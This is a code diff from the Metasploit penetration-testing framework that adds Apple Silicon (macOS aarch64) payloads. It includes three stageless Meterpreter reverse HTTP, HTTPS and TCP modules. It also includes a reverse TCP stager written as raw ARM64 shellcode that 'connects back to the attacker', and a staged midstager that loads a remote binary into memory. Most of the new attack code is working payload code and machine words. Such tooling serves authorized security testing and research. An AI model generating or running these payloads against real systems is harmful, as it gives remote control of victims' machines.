a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index a26b2c5455..1ecf627dfa 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -166,6 +166,9 @@ require 'digest/sha1' if plat.index(Msf::Module::Platform::Linux) return to_linux_aarch64_elf(framework, code) end + if plat.index(Msf::Module::Platform::OSX) + return to_osx_aarch64_macho(framework, code) + end # XXX: Add remaining AARCH64 systems here end @@ -867,6 +870,24 @@ require 'digest/sha1' mo end + # self.to_osx_aarch64_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] + def self.to_osx_aarch64_macho(framework, code, opts = {}) + + # Allow the user to specify their own template + set_template_default(opts, "template_aarch64_darwin.bin") + + mo = self.get_file_contents(opts[:template]) + bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag") + mo[bo, code.length] = code + mo + end + # self.to_osx_ppc_macho # # @param framework [Msf::Framework] The framework of you want to use diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 7cb127bab4..4909048a5f 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -170,6 +170,7 @@ class MsfAutoload 'pe_inject' => 'PEInject', 'payload_db_conf' => 'PayloadDBConf', 'reverse_tcp_x86' => 'ReverseTcp_x86', + 'reverse_tcp_aarch64' => 'ReverseTcp_Aarch64', 'ruby_dl' => 'RubyDL', 'wmic' => 'WMIC', 'net_api' => 'NetAPI', @@ -247,6 +248,7 @@ class MsfAutoload 'meterpreter_mipsbe_linux' => 'Meterpreter_mipsbe_Linux', 'meterpreter_aarch64_apple_ios' => 'Meterpreter_aarch64_Apple_iOS', 'meterpreter_x64_osx' => 'Meterpreter_x64_OSX', + 'meterpreter_aarch64_osx' => 'Meterpreter_aarch64_OSX', 'meterpreter_ppc_linux' => 'Meterpreter_ppc_Linux', 'meterpreter_x64_win' => 'Meterpreter_x64_Win', 'meterpreter_php' => 'Meterpreter_Php_Php', diff --git a/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..816f8dd8bb --- /dev/null +++ b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +# Module generated by tools/modules/generate_mettle_payloads.rb +module MetasploitModule + + CachedSize = 827315 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OSX Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ', + 'timwr', + 'usiegl00' + ], + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_aarch64_OSX + ) + ) + end + + def generate + opts = { + scheme: 'http', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..18016a42a9 --- /dev/null +++ b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +# Module generated by tools/modules/generate_mettle_payloads.rb +module MetasploitModule + + CachedSize = 827315 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OSX Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ', + 'timwr', + 'usiegl00' + ], + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_aarch64_OSX + ) + ) + end + + def generate + opts = { + scheme: 'https', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000..df9689c531 --- /dev/null +++ b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +# Module generated by tools/modules/generate_mettle_payloads.rb +module MetasploitModule + + CachedSize = 827315 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OSX Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ', + 'timwr', + 'usiegl00' + ], + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_aarch64_OSX + ) + ) + end + + def generate + opts = { + scheme: 'tcp', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/stagers/osx/aarch64/reverse_tcp.rb b/modules/payloads/stagers/osx/aarch64/reverse_tcp.rb new file mode 100644 index 0000000000..cd629d1536 --- /dev/null +++ b/modules/payloads/stagers/osx/aarch64/reverse_tcp.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + + +### +# +# ReverseTcp +# ---------- +# +# Osx reverse TCP stager. +# +### +module MetasploitModule + + CachedSize = 328 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => 'usiegl00', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => { 'RequiresMidstager' => false}, + 'Convention' => 'sockedi', + )) + end + + def generate(opts = {}) + encoded_port = [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first + encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first + retry_count = datastore['StagerRetryCount'] + seconds = datastore['StagerRetryWait'] + sleep_seconds = seconds.to_i + sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + + payload = [ + # Generated from external/source/shellcode/osx/aarch64/stager_sock_reverse.s + 0xaa1f03e0, + 0xd2820001, + 0xd2800042, + 0xd2820043, + 0xaa3f03e4, + 0xaa1f03e5, + 0x580007d0, + 0xd4000001, + 0xb100041f, + 0x54000600, + 0xaa0003ec, + 0xd280000a, + 0x1000064b, + 0xf940016b, + 0xd2800040, + 0xd2800021, + 0xd2800002, + 0x580006b0, + 0xd4000001, + 0xaa0003ed, + 0x10000501, + 0xf9400021, + 0xf81f8fe1, + 0x910003e1, + 0xd2800202, + 0x580005f0, + 0xd4000001, + 0xaa0d03e0, + 0xaa0c03e1, + 0xd2802902, + 0xd2800803, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000530, + 0xd4000001, + 0xaa0c03e0, + 0xd2802901, + 0xd28000a2, + 0x580004d0, + 0xd4000001, + 0xd61f0180, + 0xd100056b, + 0xf100017f, + 0x540001c0, + 0xd2800000, + 0xd2800001, + 0x10000242, + 0xf9400042, + 0x10000243, + 0xf9400063, + 0xa9bf0be3, + 0x910003e4, + 0xd2800002, + 0xd2800003, + 0x58000310, + 0xd4000001, + 0x54ffface, + 0xd2800020, + 0x580002d0, + 0xd4000001, + encoded_port, + encoded_host, + retry_count, + 0x00000000, + sleep_nanoseconds, + 0x00000000, + sleep_seconds, + 0x00000000, + 0x020000c5, + 0x00000000, + 0x02000061, + 0x00000000, + 0x02000062, + 0x00000000, + 0x0200001d, + 0x00000000, + 0x0200004a, + 0x00000000, + 0x0200005d, + 0x00000000, + 0x02000001, + 0x00000000, + ].pack("V*") + return payload + end +end diff --git a/modules/payloads/stages/osx/aarch64/meterpreter.rb b/modules/payloads/stages/osx/aarch64/meterpreter.rb new file mode 100644 index 0000000000..3066d51c17 --- /dev/null +++ b/modules/payloads/stages/osx/aarch64/meterpreter.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OSX Meterpreter', + 'Description' => 'Inject the mettle server payload (staged)', + 'Platform' => 'osx', + 'Author' => [ + 'parchedmind', # osx_runbin + 'nologic', # shellcc + 'timwr', # metasploit integration + 'usiegl00' # aarch64 + ], + 'References' => [ + [ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ], + [ 'URL', 'https://github.com/nologic/shellcc' ] + ], + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_aarch64_OSX, + 'Convention' => 'sockedi', + ) + ) + end + + def handle_intermediate_stage(conn, payload) + stager_file = File.join(Msf::Config.data_directory, "meterpreter", "aarch64_osx_stage") + data = File.binread(stager_file) + macho = Msf::Payload::MachO.new(data) + output_data = macho.flatten + entry_offset = macho.entrypoint + # external/source/shellcode/osx/aarch64/stage_mettle.s + midstager = [ + 0xaa1f03e0, + 0x10000861, + 0xf9400021, + 0xd2800042, + 0xd2820043, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000870, + 0xd4000001, + 0xaa0003ea, + 0xaa0d03e0, + 0xaa0a03e1, + 0x10000702, + 0xf9400042, + 0xd2800803, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000770, + 0xd4000001, + 0xaa0a03e0, + 0x10000601, + 0xf9400021, + 0xd28000a2, + 0x580006f0, + 0xd4000001, + 0xaa1f03e0, + 0x10000581, + 0xf9400021, + 0xd2800062, + 0xd2820043, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000550, + 0xd4000001, + 0xaa0003eb, + 0xaa0d03e0, + 0xaa0b03e1, + 0x10000422, + 0xf9400042, + 0xd2800803, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000450, + 0xd4000001, + 0x10000380, + 0xf9400000, + 0x8b0a0000, + 0x100002ea, + 0xf940014a, + 0xaa0b03ec, + 0xaa0003ef, + 0xaa1f03e0, + 0xd2880001, + 0xd2800062, + 0xd2820043, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000230, + 0xd4000001, + 0x91400800, + 0x9100001f, + 0xaa0d03e0, + 0xd63f01e0, + 0xd2800000, + 0x58000210, + 0xd4000001, + 0xd503201f, + 0xd503201f, + output_data.length, + 0x00000000, + payload.length, + 0x00000000, + entry_offset, + 0x00000000, + 0x020000c5, + 0x00000000, + 0x0200001d, + 0x00000000, + 0x0200004a, + 0x00000000, + 0x02000001, + 0x00000000, + ].pack("V*") + print_status("Transmitting first stager...(#{midstager.length} bytes)") + conn.put(midstager) == midstager.length + + Rex::sleep(0.1) + print_status("Transmitting second stager...(#{output_data.length} bytes)") + conn.put(output_data) == output_data.length + end + + def generate_stage(opts = {}) + config_opts = {scheme: 'tcp'}.merge(mettle_logging_config(opts)) + mettle_macho = MetasploitPayloads::Mettle.new('aarch64-apple-darwin', + generate_config(opts.merge(config_opts))).to_binary :exec + mettle_macho[0] = 'b' + mettle_macho + end +end diff --git a/tools/modules/generate_mettle_payloads.rb b/tools/modules/generate_mettle_payloads.rb index e9dc811793..16fbfe6767 100755 --- a/tools/modules/generate_mettle_payloads.rb +++ b/tools/modules/generate_mettle_payloads.rb @@ -26,6 +26,7 @@ arches = [ ['x86', 'Linux', 'i486-linux-musl'], ['zarch', 'Linux', 's390x-linux-musl'], ['x64', 'OSX', 'x86_64-apple-darwin'], + ['aarch64', 'OSX', 'aarch64-apple-darwin'], ['aarch64', 'Apple_iOS', 'aarch64-iphone-darwin'], ['armle', 'Apple_iOS', 'arm-iphone-darwin'], ]